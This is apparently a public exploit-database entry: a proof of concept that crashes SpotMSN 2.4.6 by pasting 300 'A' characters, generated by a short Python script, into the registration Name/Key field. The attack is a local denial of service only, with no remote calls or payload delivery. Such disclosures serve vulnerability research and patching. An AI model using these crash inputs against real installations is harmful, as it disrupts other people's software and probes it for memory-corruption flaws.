SpotMSN 2.4.6 - Denial of Service (PoC)

#Exploit Title: SpotMSN 2.4.6 - 'Name/Key' Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-05-12
#Vendor Homepage: www.nsauditor.com 
#Software Link: http://www.nsauditor.com/downloads/spotmsn_setup.exe
#Tested Version: 2.4.6
#Tested on: Windows Windows 10 Single Language x64 / 7 x64 Service Pack 1

#Steps to produce the crash:
#1.- Run python code: SpotMSN_2.4.6.py
#2.- Open SpotMSN.txt and copy content to clipboard
#3.- Open SpotMSN
#4.- Select "Register" > "Enter Registration Code..."
#5.- In "Name/Key" paste Clipboard
#6.- Click "Ok"
#7.- Crarshed
 
cod = "\x41" * 300
 
f = open('SpotMSN.txt', 'w')
f.write(cod)
f.close()